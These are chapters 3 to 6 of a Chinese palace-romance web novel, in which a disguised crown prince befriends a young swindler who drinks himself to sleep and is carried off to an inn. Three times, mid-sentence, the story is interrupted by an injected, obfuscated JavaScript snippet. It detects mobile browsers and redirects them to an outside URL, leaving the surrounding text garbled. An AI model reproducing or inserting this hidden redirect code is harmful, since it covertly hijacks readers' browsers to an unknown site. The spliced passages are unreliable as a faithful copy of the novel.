《意外和未来新帝有了崽崽后》 3. 楚江(三) 两名东宫僚属迅速调整好脸色,和气回道:“是这样,只要投帖,就能免费得美酒一坛,小郎君是要?” “我来投帖!” 少年毫不犹豫道。 虽然态度很坚决,但两个僚属总觉得,这少年在听到美酒二字时,眼睛更亮一些。 他们是奉宋先生之命,背着殿下,来此处摆摊揽人,好歹是东宫屈尊降贵首次来江南求贤募士,二人以为,趁着西南大捷的东风,多少能捞到几个苗子,可事实再一次残酷证明,无论他们还是宋先生,都严重低估了殿下在读书人之中的口碑和风评。 他们甚至还准备了比魏王府更丰盛的糕点,但那些书生一听说是东宫所赠,竟都避如蛇蝎,说什么怕糕点里有毒,吃了会死人。 呵,他们东宫只是名声差了一些,又不是脑子有病。 谁会闲的没事在糕点里下毒,简直就是以小人之心度君子之腹。 现下好不容易来了一个,无论是冲着什么来的吧,今日好歹算开张了,传出去不至于太过丢殿下的脸。二人热情将少年请进厅中,一个奉茶,一个捧来册子。 “劳烦小郎君先登记一下吧!” 僚属将册子往案上一摆,和蔼道。 册子上所列无非是籍贯、年龄、何处就学、拜何人为师、有无传世文章、家住何处这些基本信息,少年眼睛一弯,说好,提笔刷刷几下,就登记完毕。 僚属伸长脖子悄悄觑了眼,目光渐由期待转为失望。 瞧少年生得如此秀致灵慧,还以为是个腹中藏书来历不凡的,没成想竟只草草读过几年书,连正经学堂都没上过,传世文章无,师承无,还住在……那个山里? “怎么?可是我资质太差、不合要求?” 少年一脸真诚问。 僚属心想,那确实有点。 但面上岂敢表露出来,来之前,宋先生可严厉嘱咐过,前来投帖者,无论身份高低贵贱,让他们都务必一视同仁,好生礼待,且越是低微越要礼待,说话也要轻声细语一些,最好能借这个机会彻底扭转一下世人对东宫和殿下的印象。 而且,少年住在山里,想必出身贫苦,没什么钱去上学。 说不定日日还要赶牛放羊。 如此情况——也在情理之中吧! “不。” 僚属露出一个毫无破绽的微笑。 “小郎君很好。” “小郎君先喝盏热茶,我去给您取酒。” 按照正常流程,登记完毕,二人应当根据投帖者信息再深入挖掘询问一番的,俗称对谈,以便后期遴选,但少年这情况,属实没什么值得深入探究的,僚属便直接省略了这个环节。 少年倒也落落大方,接过茶,向二人致谢,便坐在椅中,慢悠悠喝了起来。 喝茶时,眼尾轻扬,看起来十分满意茶的味道。 陪坐在一旁的另一僚属毫不意外,这可是昔日殿下赏给宋先生的好茶,宋先生特意忍痛拿了出来,让他们招待人用。 僚属很快取了酒出来,泥封的一小坛,用麻绳绑着,方便携带。 少年搁下茶起身,接过酒,只凑近嗅了一嗅,便眼眸微亮,称赞:“果然是好酒。” 僚属也笑:“小郎君不嫌弃便好。” “怎会,我还要多谢贵人们赏酒呢。” “只是你们未免太实诚了,免费送的酒,也选这般好的,遇上我这般才疏学浅又贪酒的,岂不要赔很多钱。” 僚属讪讪一笑。 想,也没有赔很多。 一晚上了,也就才送出一坛而已! 不过这小郎君,倒真是个心地实诚又古道热肠的,如果学问再好那么一些些,该多好。 僚属一腔惋惜。 “叨扰多时,在下就不打扰贵人们忙正事了。” 少年拿了酒,洒然拱袖,眼睛一弯,提酒离开。 门庭复归冷落,二僚属对望一眼,正要长叹一声,视线不经意往外一扫,顿时齐齐变色,下意识要跪下行礼,触到太子冰冷淡漠眼神,方知不妥,忙收回动作,一时跪也不是,站也不是,便那么维持一个尴尬的姿势杵在原地。 奚融一直目视少年消失在长街转弯处,方调开视线,带着姜诚走了进去。 门厅暂时闭上。 姜诚守在门口,另二人伏跪于地,大气也不敢出,室内静得落针可闻。 奚融则面无表情坐在椅中,翻着那本册子。 只记录了一行的册子。 他指腹摩挲,落在行首墨迹新干的那个名字上——「顾容」。 “起来吧。” 良久,奚融开口。 两名僚属一愣,谢恩,束手束脚立到一边,几乎不敢抬眼看太子的脸。 今日这事,往小了说,只是丢人,往大了说,那是欺瞒主君,越权行事,轻则褫夺职位,逐出宫去,重则脑袋不保。 偏偏出这馊主意的宋先生还不在。 “宋先生说……” 一僚属小心翼翼开口。 直接被奚融打断。 “孤知道,这是宋先生的主意。” “故而,孤不会追究你们罪过。” 二人又一愣,喜出望外,再度跪下谢恩。 道:“属下立刻就撤了这门厅,并对外宣布,这并非东宫所设——” “不必。” 奚融再度打断。 “你们该做什么就做什么。” “孤已如此残暴不仁,难道,你们还想让孤再背一个输不起,临阵脱逃的名声么?” 语罢,奚融直接将册子丢回案上,起身离开了。 两名僚属忙叩首恭送。 —— “方才在楚江楼里,你一路跟着那小骗子,可查到他身份?” 回到街上,奚融忽问。 姜诚脑子转了好大一个弯,才明白殿下口中的“小骗子”是那指那刚刚来投帖的蓝袍少年,忙恭敬回:“属下查探过了,那堂倌也不甚清楚,说是在街上寻人时,那小郎君听说有赏金,主动撞上去毛遂自荐的,并自称上通天文,下知地理,无书不读,无事不晓,必能舌战群儒,将太子……殿下您的恶名宣扬天下,才被楼里选中当托儿的。” 奚融薄唇紧抿,没有说话。 姜诚觑着殿下冷峻面孔,小心翼翼道:“依属下看,这小郎君也就是家中贫苦,想赚些吃食,并非什么奸邪之徒,否则也不会当众辩驳那些书生。” “家中贫苦?” 奚融冷笑一声,意味不明道:“他那双手,可不像出身贫苦的手。” “不是故意糊弄孤,就是把孤当蠢货。” “坑蒙拐骗,竟拐到孤头上了,胆子倒是不小。” 姜诚一怔,不敢接话。 主仆二人转过长街,姜诚忽神色一变,指着前方:“殿下您看。” 松州多河,拐过主干道,便是一条临河的窄街,河上画舫齐竞,彩灯招摇,河边却挨挨挤挤搭了许多卖夜宵的棚子。 生意最兴旺的是一家做面食的铺子。 此刻,铺子角落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836158|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张食案后,一道熟悉的蓝色身影挽袖而坐,正津津有味吃着一碗面条。 正是方才投帖的少年。 奚融冷峻剑眉几不可察一挑,直接负袖往那面食摊子走去。 “老板,来两碗鲈鱼面。” 做面条的是一个上了年纪的老翁,听见声音,抬头,见两个年轻男子站在摊位外,说话的男子生着一张俊面犀利面孔,器宇轩昂,衣着贵气,忙应好,只是抬目一扫,发现棚子里已经没有空位,登时有些犯难。 “无妨,我们与那位小郎君拼一下案便可。” 奚融看着角落道。 老翁欣然应是,先去和正吃面的少年说了几句什么,少年抬头,朝奚融主仆二人点头一笑,先将自己的东西挪了挪,便继续低头吃面。 奚融直接带着姜诚在案后坐了下去。 视线略略一扫,就看到少年正吃的是一碗最普通的青菜面,手边除了刚得的那坛酒,还摆着一盒梅花糕。 梅花糕。 奚融想到什么,眼睛轻轻一眯。 姜诚更是神色诡异。 他没想到,这看着秀致如玉的小郎君,倒真是个骗吃骗喝的行家,亏他方才还替他说好话。 “我们没打搅到小郎君吃饭罢?” 奚融开口。 顾容饿了大半日,正专注吃面,听到声音,意识到是对面刚坐下的陌生食客与自己说话,抬起头,眼睛一弯:“自然没有。” “这食案这么大,我自己占着一案,本来就有些浪费,兄台不嫌我吃相粗鲁就好。” 说完,他顺手从盒子里拿了块梅花糕出来,就着面一起吃。 “这糕看着不错,小郎君从何处买的?” 奚融忽慢条斯理问。 一旁姜诚:“……” 顾容再度抬头,笑吟吟说:“并非买的,是贵人所赠。” “贵人?” “是啊,楚王殿下出手豪阔,给所有参加楚江盛会的学子都送了梅花糕,在下运气不错,恰好领到一盒。” “味道还不错,二位兄台要不要一起尝尝?” 顾容大度将那盒糕点往前一推,摆到食案中间。 “…………” 姜诚正端着茶碗喝水,闻言,险些呛住嗓子。 奚融微微一笑,道:“在下不喜甜食,恐怕要辜负小郎君盛情了。” 顾容也不在意,只道:“是我考虑不周,兄台勿怪。” 又问姜诚:“这位兄台也不喜甜食么?” 其实姜诚对甜食还是蛮感兴趣的,但魏王送的梅花糕,他真是看一眼都嫌脏,立刻肃然点头。 顾容露出遗憾神色。 “看来,这京都千里送来的梅花糕,只有在下有口福了。” 恰好老板端了新煮好的面过来。 除了两碗面,奚融另要了一碟细切的卤羊肉。 等面和肉都摆好,奚融忽指着装糕点的盒子道:“好像落了灰。” 顾容一看,“咦”一声,果见那整齐排列的细腻如雪的梅花糕上,不知何时竟落了薄薄一层土灰,好好的梅花糕瞬间变成了碳灰糕,无论如何也无法下嘴了,不由面露可惜。 奚融已偏头吩咐姜诚:“我记得方才咱们过来时,街边有家十分有名的糕点铺子。” “你去买三盒梅花糕,当我送给这位小郎君的。” 又薄唇一勾,与顾容道:“小郎君正是长身体的年纪,只吃这些甜食怎么行,不如尝尝这羊肉。” 姜诚:“…………” 4.醉酒(一) 热腾腾刚出锅的细切羊肉,在灯火下泛着诱人色泽,的确很勾人食欲。 顾容凭着这张脸,虽有丰富的骗吃骗喝经验,但那都是他主动骗,眼下突然被人这般大度请着吃,他反倒有点诧异,忙道:“无功不受禄,在下岂能白吃兄台酒食,兄台别看我这青菜面素淡,配着这醋碟,却是别有一番滋味,且也是本店招牌。” 奚融道:“不白吃。” “我恰好看上了小郎君这坛酒,拿这羊肉与小郎君换些酒喝,如何?” 顾容想了想,倒是爽快点头。 “好,那在下就厚脸皮占兄台这便宜了。” 语罢,拍开酒封,呼老板拿来两个酒碗,给两人各倒了一碗酒。 他年纪不大,举止却潇洒落拓。 “兄台请。” 顾容先将其中一碗递到奚融面前。 奚融接过,垂目看了眼,问:“这酒也是贵人所赠?” 顾容咳咳两声,难得露出一点赧然。 “不怕兄台笑话,这酒确也是贵人所赠。” “不过,不是魏王殿下所赠,而是我去东宫投帖时领的。” “哦?” 奚融挑了下眉。 “旁人都对东宫避之不及,小郎君怎么去东宫投帖?” 当着陌生人的面,顾容岂会说出自己只是为了免费蹭酒。 便信口胡诌:“我就是想去瞧瞧,这东宫是否正如传言一般蛮横残暴。” 奚融再“哦”一声,投以一记感兴趣的眼神:“小郎君可得出结论了?” 顾容握起筷子,夹了块羊肉,就着面吃完一口才道:“结论不敢说,但与传闻确有不同。” “东宫那两位掌事官员,不仅不蛮横,还待人十分客气有礼,既未嫌我身份低微,也没有因我才疏学浅而轻慢我。” “最紧要的是,他们很守诺,我投帖之后,真的送了美酒与我。” 奚融饮了口酒,摩挲酒碗片刻,又问:“那小郎君对太子看法如何?” “太子?” 顾容夹了第二筷子羊肉,直接摇头:“我没见到太子,不好说的。” “而且,听说太子脾气不怎么好,怎可妄议。” 语罢,眼珠微微一转,看向奚融:“兄台莫非是想投效东宫?” 奚融不否认,棕瞳凝盯着那张仿佛琼玉堆成的秀致面孔。 “看来,小郎君觉得魏王脾气更好,更值得效忠?” 顾容就着羊肉又吃下一口面,突然觉得,周围空气好像冷了些。 便想,难道是因为坐在离河比较近的位置? 听了这话,又是摇头:“脾气如何,和是否值得效忠,倒不一定有紧要关系。” “我学问不好,怕给不了兄台建议。” “不过,兄台若真有搏一搏的心思,我倒更建议兄台去投东宫。” 奚融动作轻顿,露出意外色。 “小郎君有高见?” 顾容凑近了些,小狐狸一般狡黠一笑:“道理很简单嘛,投魏王的人那么多,想要崭露头角肯定不易。” “东宫就不同了,东宫今日张榜一日,车马零落,无人问津,连我这样的都能得到隆重接待,兄台器宇轩昂,仪表堂堂,若去投帖,说不准能直接被奉为上上宾。” 姜诚手里拎着三大盒梅花糕,刚进来,就听到这么一句。 姜诚:“……” 这话说得,好像他们东宫什么歪瓜裂枣都收似的。 姜诚战战兢兢坐回自己的位置,有些不敢看殿下的脸。 太子殿下本人倒精神稳定,甚至还能笑出来。 “但小郎君也说了,太子脾气不好。” “小郎君让我去投东宫,就不怕,我出师未捷身先死?” 姜诚:“…………” 顾容高深一笑。 “自然不会。” “太子脾气虽不好,但我观西南这场战事,太子打得极漂亮,战后抚民安民,亦井然有序,有条不紊,不似暴虐无度是非不分之人。” “如今太子恶名传天下,兄台不仅不畏惧,还主动投奔,我若是太子,只会高看兄台一眼。” “自然,主君脾气也很重要,兄台确需慎重考虑。我不过沾了酒胡言乱语而已,兄台前程,还是得兄台自己做主。” 姜诚本已头皮发麻,生怕这小郎君再说出什么不中听的话,惹殿下发怒,听得此言,倒实打实一愣,露出诧异之色。 有关西南一战,各方褒贬不一,但显然,是以贬与批判为主,甚至还有人恶意揣度殿下是为了稳固地位故意挑起战事。 这还是头一回,他从一人口中听到对此战和殿下的褒赞。 “你不觉得,太子斩杀了那么多官员,太过残暴了么?” 奚融不动声色,又问。 顾容端起酒碗,眼尾轻扬,轻啜一口,道:“那得分情况,若那些官员真如传言一般贻误军机,太子做法,不叫残暴,而叫赏罚分明。如果另有其他内情,自当别论。” “兄台,你好像真的很关心太子。既如此,你怎不去东宫投帖?” 奚融低叹:“我怕被人戳脊梁骨。” 一旁姜诚:“……” 可怜的姜大统领再也控制不住,一口茶卡在嗓子眼,咳咳咳起来。 顾容则大为意外:“兄台怎会有如此想法?” 奚融垂目转着酒盏:“小郎君不也说了,没什么人去东宫投帖。我若去了,岂能不遭人指点。而且,我自幼身患怪病,就算去了,怕也入不了太子殿下的眼。” “怪病?” “没错,一种人人避之不及的怪病。” “不能治么?” “不能治。它已侵入我骨血深处,我这一辈子,都不可能摆脱。” 顾容没料到对方竟有如此不得已的苦衷。 难怪只是萍水相逢,就对他一个陌生人倾吐这么多的心事,还主动请他吃东西。 他也没什么宽慰人的经验,便道:“若有选择,谁愿疾病缠身,太子若因此轻慢兄台,便证明那太子也是个有眼无珠、不知惜才的,不配为良主。” 虽知少年是无意,姜诚还是本能护主:“小郎君,你怎么说话的。” “这、这要是传出去,还得了。” 顾容眼睛调皮一弯。 “放心,这种贩夫走卒聚集的地方,那些贵人们是不会过来的。这一案就坐着咱们三个,你不说,我不说,天不说地也不说,太子如何会知道。” “而且这位兄台,我也是为了宽慰你朋友,你该和我站到一处才对,怎么还吓唬我。” 姜诚两眼望天。 想,这小郎君,上下嘴皮子一碰,怕能迸出花来。 难怪四处坑蒙拐骗骗吃骗喝。 奚融倒似宽解愉悦很多,唇角一勾,道:“小郎君说的不错,他该罚。” 一面让姜诚自己罚酒,一面抬臂握起酒坛,将二人的酒碗满上,道:“今日听小郎君一言,令我豁然开朗,受益良多。常言道,‘酒逢知己千杯少’,我与小郎君一见如故,今夜——” “今夜,咱们就痛饮一场,不醉不归!” 顾容笑吟吟接道。 语罢,先端起酒碗,饮了一大口。 感叹:“好酒!” 年轻郎君生着一双极漂亮的眸,笑时眼尾轻挑,让人联想到簌簌绽开的桃花。 奚融挑眉:“小郎君酒量很好?” “自然!” 顾容广袖舒卷,一脸豪气。 “如此良辰,如此美景,还有兄台这样好的‘他乡知己’对饮,若不尽兴而饮,岂不辜负上天美意。” “我先敬兄台一碗,就祝兄台疾病早消,如愿以偿!” …… 一刻后,姜诚看着不过只喝了小半坛酒,就醉倒在案上的少年,一言难尽道:“这小郎君,还真是满嘴鬼话,没一句靠谱,殿——公子,现下,怎么办?” “不用管我……” 少年一侧脸枕在臂上,仿佛听到了,摆手道:“我自己会回去……” “兄台慢走,慢走,我恐怕不能送你了……” “你,好好治病,千万莫自暴自弃……” 姜诚:“……” 客人已散得七七八八,老汉过来收拾食案,一看这情景,垮下脸:“我说小公子,你怎么又醉啦。” “我没醉!” “阿翁,你休要胡说!” 少年激烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14842455|159037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反驳。 姜诚头回见这样的醉鬼,不由叹为观止。 奚融则搁下酒碗,偏头问老翁:“他经常醉倒?” “是啊。” 老汉一脸无奈。 “明明没多大酒量,还学人豪饮。” “不过公子不必担心,让他睡上一两个时辰,他自己就起来回去啦。” 看来还真是惯犯。 姜诚转头低声恭敬道:“殿下,时辰不早,您该回去了。” 此间鱼龙混杂,他们又没带其他护卫,姜诚不免担心起殿下安全问题。 奚融没动,而是再问:“老人家既与他相熟,可知他家住何处?” 老汉摇头。 “这就不晓得了。” “咱们做生意的,哪儿能细究客人的事。” 老汉收拾妥当,自弓身煮面去了。 “去讨碗醒酒汤来。” 奚融吩咐姜诚。 姜诚不敢多问,应是,起身去办。 一碗醒酒汤下肚,顾容果然清醒很多,见奚融还坐在对面,不由笑道:“兄台,你怎么还没回去?” “天色已晚,我送小郎君回家吧,小郎君家在何处?” 奚融问。 “家?” 顾容一臂撑额,长袖垂在案,晃了晃脑袋,似在认真思考,片刻后,摇摇晃晃站起来,转身往后面河的方向一指:“我去那里向朋友借助一夜便可,明日再回,不劳烦兄台了。” 他显然醉意未完全消解,拱手作了个礼,就先一步往外走了。 走之前,还不忘从袖袋里掏出三个铜板,搁在案上,付面钱。 奚融看了眼,却伸手将铜板收了起来,另搁了一锭碎银在案上,将两边的钱一道付了,带着姜诚跟了上去。 顾容对此间地形极熟悉,别说微醉,就是闭着眼睛走,也能找到路。 出了面食摊子,略一打量,就轻车熟路来到停靠在河边的几艘旧船舱前,选了靠里的一个,弯身钻了进去。 船舱里已经有两个乞丐,见顾容进来,立刻面露警惕。 顾容虽半醉半醒,却深谙此间地盘划分之道,眼睛一弯,摸出仅剩的铜板,丢给二人道:“我请二位吃酒,二位借宝地让我睡一夜。” 两个乞丐眼睛一亮,爽快捡起铜板,给他让位。 顾容也不挑,盘膝坐下,眯眼,拢起衣袍,舒舒服服往船舱上一靠,准备睡去。 姜诚看得目瞪口呆,这才恍然明白,这小郎君所谓的朋友,竟是游荡在此间的乞丐,所谓借住,是和乞丐争地盘。 还真是个彻头彻尾的小骗子。 船舱内,两个乞丐在争夺铜板,一旁,一身蓝衫的小郎君广袖合拢,恬然而睡,对这一切一无所觉,甚至因喝了酒,衣袍领口就那般松松垮垮半敞着,露出整段雪白颈。 如果忽略这糟糕的环境,一舟横于河岸,舟上,小郎君身形如松如梅,半笼在银纱一般的月光中,实在是一副美好的画面。 奚融看着这幅场景,几不可察皱了下眉。 下一刻,在姜诚吃惊眼神中,大步往船舱走去。 两个乞丐好不容易分好了钱,忽然眼前一暗,见舱帘被掀开,又有一道高大身影出现在舱外,遮住了流泻的月光与灯影,不由再度现出警惕色。 对方衣冠华重,腰佩长剑,露出的薄唇与剑眉都散发着无形的威慑气息,令人本能生出压迫感与畏惧。 “舍弟不懂事,给二位添麻烦了。” 奚融淡淡道了句,打破静默,直接将坐在外面已经沉沉睡去的小郎君提着后领口拎起,带了出去。 两个乞丐伸长脖子,一脸吃瓜看戏的表情。 “这兄长看起来很不好惹,回去肯定要挨揍咯。” “幸好没被他发现这些钱。” “是啊是啊,赶紧藏好……” …… “殿下,这……您要将他带回行辕么?” 姜诚亦步亦趋跟在后面,忐忑询问。 奚融仍单手拎着顾容,闻言,寒眸没什么特别情绪,只淡淡道:“找家客栈,给他订间房。” 姜诚领命。 心中仍有些意外,殿下对这小骗子,是不是太宽容上心了些! 5.醉酒(二) 奚融回到驻跸之处,东宫两名重要僚属宋阳与周闻鹤也连夜赶到了。 宋阳四十左右的年纪,一直在奚融身边担任军师一职,东宫上下都尊称一声“宋先生”,是奚融最为倚重的心腹之一。 一见面,宋阳先长跪请罪:“都是臣自作聪明,自作主张,让陈长生他们去替殿下揽人,险些弄巧成拙,臣真是罪该万死,请殿下降罪!” “先生一路辛苦,起来吧。” 室中灯火亮若明昼,奚融玄衣墨冠,坐于重叠灯影下,抬起那双淡漠锋利眸,屈指于案,开口。 “孤知先生,一片好意。” “只是先生下回行这等事前,最好还是先告知孤。” 这话不重,却也不轻。 宋阳起身,汗颜应是。 心中明白,奚融是给自己留了脸面,否则早就直接降下重责,他连请罪的机会都不会有。 “给先生们先上些夜宵。” 奚融又吩咐。 侍从恭声领命,立刻去准备。 宋阳与周闻鹤忙谢恩,才落座。 周闻鹤面含怒色:“没想到,魏王竟无耻至此,用这等上不得台面的龌龊手段诋毁殿下名声。” “颠倒黑白,混淆是非,是魏王惯用手段,这回,是我大意了。” 宋阳道。 两人无声在心里叹口气。 只因魏王手段虽下流虽龌龊,行事虽虚伪虽造作,偏偏那些读书人最吃这一套。 靠着这颠倒黑白、收买人心的本事,魏王这些年硬是给自己营造了一个“贤王”的名号,笼络了不少民心。 反观殿下,口碑是一日比一日差,动辄被呼为夜叉。 “还不是那崔氏在背后推波助澜,否则,只凭一个魏王,何以掀得起如此风浪。” 周闻鹤愤愤握拳。 室中静了下。 姜诚险些被茶汤烫了手,不由看向这个脾气暴烈的周先生。 周闻鹤这才惊觉失言,他真是——脑袋被驴踹了!好端端的,为何要在殿下面前提起那可恨的崔氏……正坐立难安,听主位上奚融淡淡道:“无论崔氏还是魏王,如此做,都无可厚非。西南一战,孤赢了,坐不安的又何止魏王与崔氏。” 宋阳适时清了下嗓子,接话:“西南一战凶险,若非殿下亲自坐镇前线,震慑各方,在粮草不足的情况下以寡胜多,战事还不知要拖到何时才能结束。这定然出乎魏王意料。” “此次楚江盛会,五姓七望除了萧氏几乎全部派了使者到松州,重视程度前所未有,恐怕多半也与此有关。” 自然,因殿下在西南种种雷霆手段,民间有关殿下残暴之名也越传越广,那些不明真相的书生才会对魏王散播的谣言深信不疑,对东宫退避三尺。 “不过臣听陈长生说,今日倒是有一位小郎君前来投帖……” 宋阳带着几分期待道。 “别提了,是个小骗子。” 姜诚无情回。 宋阳:? 宋阳匆忙赶回,并未仔细询问内情,意外:“小骗子?” “可不是,骗吃骗喝都骗到殿下头上了,真是世风日下。” 宋阳倒生出几分好奇。 “一般人可没这胆量,确定是个读书人?” “何止。” 姜诚端着茶,摇头不止。 “先生若是见了人,怕更不敢相信,看着柔柔弱弱一个小郎君,满嘴鬼话,骗起人来眼睛都不眨一下,真是让人长见识。” “依我看,投帖就能送酒这规矩,宋先生还是赶紧免了吧,免得又召来其他小骗子。” 几人听了这话都是一笑。 宋阳没料到这唯一的投帖者竟是如此,心里不免失望遗憾,想起另一要事,迟疑片刻,从怀中掏出一封信,起身道:“殿下,还有桩好消息。” 奚融掀起眼帘。 宋阳:“臣离开西南时,曹氏主动托人来信,说族中有一孙女,正是议婚年纪,若殿下不弃,他们愿意把女儿嫁入东宫,与殿下结姻亲之谊。” “难道是阮陵曹氏?!”周闻鹤眼睛一亮,紧问。 “没错,正是五姓七望里的阮陵曹氏。曹氏虽位列七望,不在五姓之列,但在朝中经营多年,颇有些根基,子弟也多走仕途。若殿下真能和曹氏联姻,与殿下和东宫大有好处。” 宋阳难掩欣悦。 皇室之中,联姻一向是稳固地位提升实力最常见也最快捷的手段,连皇帝本人也不例外。 诸皇子中,魏王和晋王分别娶柳氏、王氏女为妻,皆是望族中的望族,而殿下身为储君,因身负一半异族血统的缘故,太子妃之位却一直空悬。 一则因为多年前一桩旧事,让殿下染上疯病传闻,二则是五姓七望,因为殿下血统不纯,根本没一个愿意与东宫结亲。 萧氏崔氏这样极尊贵的姓氏与大族自不必想,过去许多年,连七望这样实力不均的姓氏竟也对东宫不屑一顾,东宫处境可想而知。 若非殿下秉性坚韧,谋定后动,一次次在阴谋与绝境中站稳脚跟,今时今日储君位上坐的是谁,尚未可知。 对于联姻一事,宋阳几乎已经放弃希望,没想到西南大捷消息传出,七望中的曹氏竟主动求和,实是让宋阳喜出望外。 与曹氏联姻,不仅意味着殿下在朝中多了一份强有力的助力,更代表着殿下终于被五姓七望所代表的安朝正统文人集团接纳,意义非同一般。 这一路赶来,宋阳可谓心潮澎湃。 澎湃完,宋阳就意识到,室中格外安静。 他抬头,看到主君仍以素日惯有的淡漠表情坐于案后,并无他意料中的喜悦。 “若孤没记错,曹家还有一个女儿,是嫁给了魏王做妾。” 奚融道。 宋阳点头。 “的确如此,但——” “先生不必多言。” 奚融眸光暗沉拂过案上山阿:“曹家择孤,是因魏王倚重崔氏,怠慢曹氏,甚至瞧不上曹氏。” “孤知与曹氏联姻,好处多多,也知先生为促成此事,应费了不少辛苦,更知类曹氏这样的望族,多方押宝也是寻常事。” “然孤若真想靠联姻来开路,便不会九死一生走到今日。” “此事,不必再提。” 宋阳不敢违命,只能应是,慢慢坐了回去。 他也知,曹氏一个在七望中实力只能算中等的家族,敢直接讨要太子妃之位,本身也是对东宫存着轻慢之心,然而便是这样,于东宫而言,业已是最佳选择。 曹氏便是看准了这一点,才敢开口。 议事结束,宋阳与周闻鹤一道往住处走。 周闻鹤负袖问:“你怎么心事重重的,是因为殿下拒了曹氏的联姻?” 宋阳道:“殿下拒绝,我可以理解,甚至不算太意外,我只是有些不明白。成大事者不拘小节,殿下忍辱负重走到今日,论起隐忍二字,天下罕出其右者,当年为了拜入崔氏,殿下是如何做的,你我都看在眼里。与曹氏联姻的好处显而易见,故而我有些不懂,殿下为何会如此干脆拒了曹氏?这不符合殿下一贯作风。” 周闻鹤脾气虽暴躁了些,但心思很细。 若有所思道:“你是担心,殿下仍介怀当年被算计的旧事?” “是啊,那件事,可险些毁了殿下一辈子。” 宋阳不无担忧慨叹。 “老天爷若长眼,就该劈了那可恶的崔氏!” 周闻鹤恨恨道。 宋阳又一叹:“那崔氏,如日中天,岂是说劈就能劈死。” “我只担心,拒了曹氏,殿下以后的路会更加艰险。” 两人心情不免都有些沉重,周闻鹤只能强行宽慰:“要我看你也不必太过杞人忧天,那崔氏再势大,如今在朝中,还不是处处被萧氏压一头。” 可惜宋阳并未得多少宽慰。 “崔氏难缠,萧氏更是深不可测。那位萧王,出了名的菩萨面孔阎王手段,这些年,可没少让崔道桓碰软钉子。更何况,你忘了殿下这‘鬼夜叉’称号是如何来的?” 某些陈年旧事猝不及防撞入脑海。 周闻鹤一张脸顿时青绿交加: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾容原本还奇怪自己哪里蹦出来的兄长,听了这话,若有所思,问:“那位……我兄长,可是玄衣墨冠,腰间佩剑?” “没错!” 竟真是那位兄台。 顾容颇感意外。 堂倌道:“小的先服侍小郎君盥洗,再带小郎君去大堂用膳吧!” 搞清楚情况,松下一口气。 顾容道:“东西放下,我自己来就行。” 等堂倌退下,顾容自己在房间里转了一圈,才发现,床头边的小案上,还放着三盒梅花糕。 看来真是那位仁兄送他过来的。 这可真是……丢脸丢大了。 他昨夜醉酒的丑态,肯定也落在了对方眼里。亏他还大放厥词要和人家豪饮。 而且,那位兄台该不会以为他很有钱吧,竟把他送来这么昂贵的客栈。 顾容迅速洗了脸,又将乌发重新束了下,便人模人样下了楼。时辰尚早,大堂里没什么人,堂倌第一时间迎了上来,请顾容就坐用膳。 顾容眼下囊中羞涩,哪里吃得起这样昂贵的酒楼,略心虚问:“贵店如此家大业大,客来如云,每日赊账的应该不少吧?” 堂倌正色道:“小郎君这话说的,来咱们这里落榻的,都是有头有脸的贵人,岂会做赖账这种事!” “当真一个也没有么?” “绝无可能!小郎君放心!” “……” 顾容只能硬着头皮、故作淡定道:“我赶时间,就不吃饭了,昨夜的房钱你算下——” 堂倌立刻说:“小郎君不必费心,您兄长已经预付了三天的房钱。” “嗯?” “千真万确,不仅房钱,您兄长还说,小郎君的伙食费也都算在他账上,小郎君想吃什么随便点。小郎君真是好福气,有这样体贴大方的兄长!哦,对了,小郎君刚刚说要赶路……” “咳。” 顾容抱臂,以手掩唇,清清嗓子。 “我忽然想到,兄长还吩咐我今早去替他办桩事,瞧我,一糊涂给忘了。这个时辰,那地方应当还没开张,罢了罢了,我还是吃了饭再去吧。” “可不是,再急的事也得先填饱肚子才有力气做呐!” 堂倌麻利收拾出一张桌子。 “小郎君先坐,我给您取食单去。” 6.兄长(一) 堂倌很快将食单取来。 到底是白吃白喝,顾容虽厚脸皮,也没到不要脸的地步,岂敢太过分,因而只低调点了份最便宜的清粥小菜。 等堂倌将东西端上,顾容却发现除了他点的粥菜外,还多了一份羹汤。 不等顾容发问,堂倌先笑容满面介绍:“这是本店招牌蒿鱼羹,用春日头茬蒌蒿最嫩的嫩芽部分与太湖银鱼烹制而成,佐以姜丝,最是鲜美解酒,昨夜小郎君的兄长特意吩咐咱们备下的,说今早小郎君醒来后,务必让小郎君喝上一碗。” 对方竟体贴至此。 顾容复看了眼那羹,问:“那位……我兄长可说他去了何处?” 堂倌摇头。 “这倒没有。” 顾容点头,知晓对方多半是故意不留名,便也没再多问,专注吃起饭来。 浅尝一口鱼羹,果然鲜美无比,回味无穷,不由眼睛一弯,露出一抹极为满足的笑。 堂倌侍奉在一旁,一时看得呆住。 只觉连布置华丽的大堂都因这年轻小郎君的笑而黯了几分。 大堂里客人渐渐多了起来,几个书生结伴从外头进来,在邻桌坐了下去。 “听说了么,昨日东宫也试图效仿魏王殿下礼贤下士,招揽学子,结果你们猜怎么着?” 被众人簇拥在正中的金冠锦袍书生摇着扇子开口。 “怎么着?” “还能怎么着,东施效颦,自取其辱,听说整整一晚上,除了一个脑子被驴踢的,一个去投帖的人都没有!” 